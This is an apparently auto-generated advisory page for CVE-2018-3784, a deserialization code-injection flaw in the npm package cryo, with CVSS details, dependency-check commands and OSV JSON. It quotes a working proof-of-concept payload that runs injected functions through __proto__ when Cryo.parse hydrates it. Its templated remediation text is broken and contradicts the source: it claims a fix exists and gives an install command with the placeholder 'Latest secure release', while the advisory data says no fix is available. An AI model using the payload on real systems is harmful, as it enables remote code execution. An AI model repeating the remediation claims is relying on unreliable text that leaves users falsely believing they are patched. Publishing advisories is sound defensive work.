CVE-2018-3784: Cryo Code Injection Vulnerability

CRITICAL
Advisory Identifier: GHSA-38f5-ghc2-fcmv
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CVSS 9.8
CWE-94
Published
Advisory Summary

CVE-2018-3784 is a CRITICAL (CVSS 9.8) code injection vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Cryo libraries in the npm ecosystem. The issue involves code injection in cryo. Remediation is available in the latest vendor maintenance releases.

CVE-2018-3784 at a Glance

CVE Identifier CVE-2018-3784
GHSA Identifier GHSA-38f5-ghc2-fcmv
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Cryo
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2018-3784

To remediate this vulnerability, upgrade all affected Cryo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

cryo fixed: Latest secure release 
npm install cryo@Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls cryo

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2018-3784, inspect your project dependencies using npm:

npm ls cryo

Analyze the terminal output to locate any version of Cryo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The npm ls cryo command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Cryo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

All versions of `cryo` are vulnerable to code injection due to an Insecure implementation of deserialization. ## Proof of concept ```js var Cryo = require('cryo'); var frozen = '{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\");return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto__":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}' var hydrated = Cryo.parse(frozen); console.log(hydrated); ``` ## Recommendation No fix is currently available. Consider using an alternative module until a fix is made available.

CVE-2018-3784 Affected Cryo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
cryo
npm/cryo
npm
≤ 0.0.6

References

NVD — CVE-2018-3784 NVD
https://nvd.nist.gov/vuln/detail/CVE-2018-3784
hackerone.com/reports/350418 WEB
https://hackerone.com/reports/350418
GitHub Advisory / Wiki ADVISORY
https://github.com/advisories/GHSA-38f5-ghc2-fcmv
www.npmjs.com/advisories/690 WEB
https://www.npmjs.com/advisories/690

Frequently Asked Questions

What is CVE-2018-3784?
CVE-2018-3784 is a security vulnerability in Cryo involving Code Injection in cryo under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Cryo versions are affected?
Affected versions include releases prior to current release patches across affected packages: cryo.
What version fixes CVE-2018-3784?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is cryo affected?
Yes, cryo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2018-3784?
CVE-2018-3784 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2018-3784?
CVE-2018-3784 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check npm dependencies for CVE-2018-3784?
Run the dependency tree command: 'npm ls cryo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-38f5-ghc2-fcmv",
  "modified" : "2023-09-12T18:38:55Z",
  "published" : "2018-08-21T17:02:43Z",
  "aliases" : [ "CVE-2018-3784" ],
  "summary" : "Code Injection in cryo",
  "details" : "All versions of `cryo` are vulnerable to code injection due to an Insecure implementation of deserialization.\n\n\n## Proof of concept\n\n```js\nvar Cryo = require('cryo');\nvar frozen = '{\"root\":\"_CRYO_REF_3\",\"references\":[{\"contents\":{},\"value\":\"_CRYO_FUNCTION_function () {console.log(\\\\\"defconrussia\\\\\"); return 1111;}\"},{\"contents\":{},\"value\":\"_CRYO_FUNCTION_function () {console.log(\\\\\"defconrussia\\\\\");return 2222;}\"},{\"contents\":{\"toString\":\"_CRYO_REF_0\",\"valueOf\":\"_CRYO_REF_1\"},\"value\":\"_CRYO_OBJECT_\"},{\"contents\":{\"__proto__\":\"_CRYO_REF_2\"},\"value\":\"_CRYO_OBJECT_\"}]}'\nvar hydrated = Cryo.parse(frozen);\nconsole.log(hydrated);\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "cryo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.0.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2018-3784"
  }, {
    "type" : "WEB",
    "url" : "https://hackerone.com/reports/350418"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-38f5-ghc2-fcmv"
  }, {
    "type" : "WEB",
    "url" : "https://www.npmjs.com/advisories/690"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2020-06-16T20:54:31Z",
    "nvd_published_at" : null
  }
}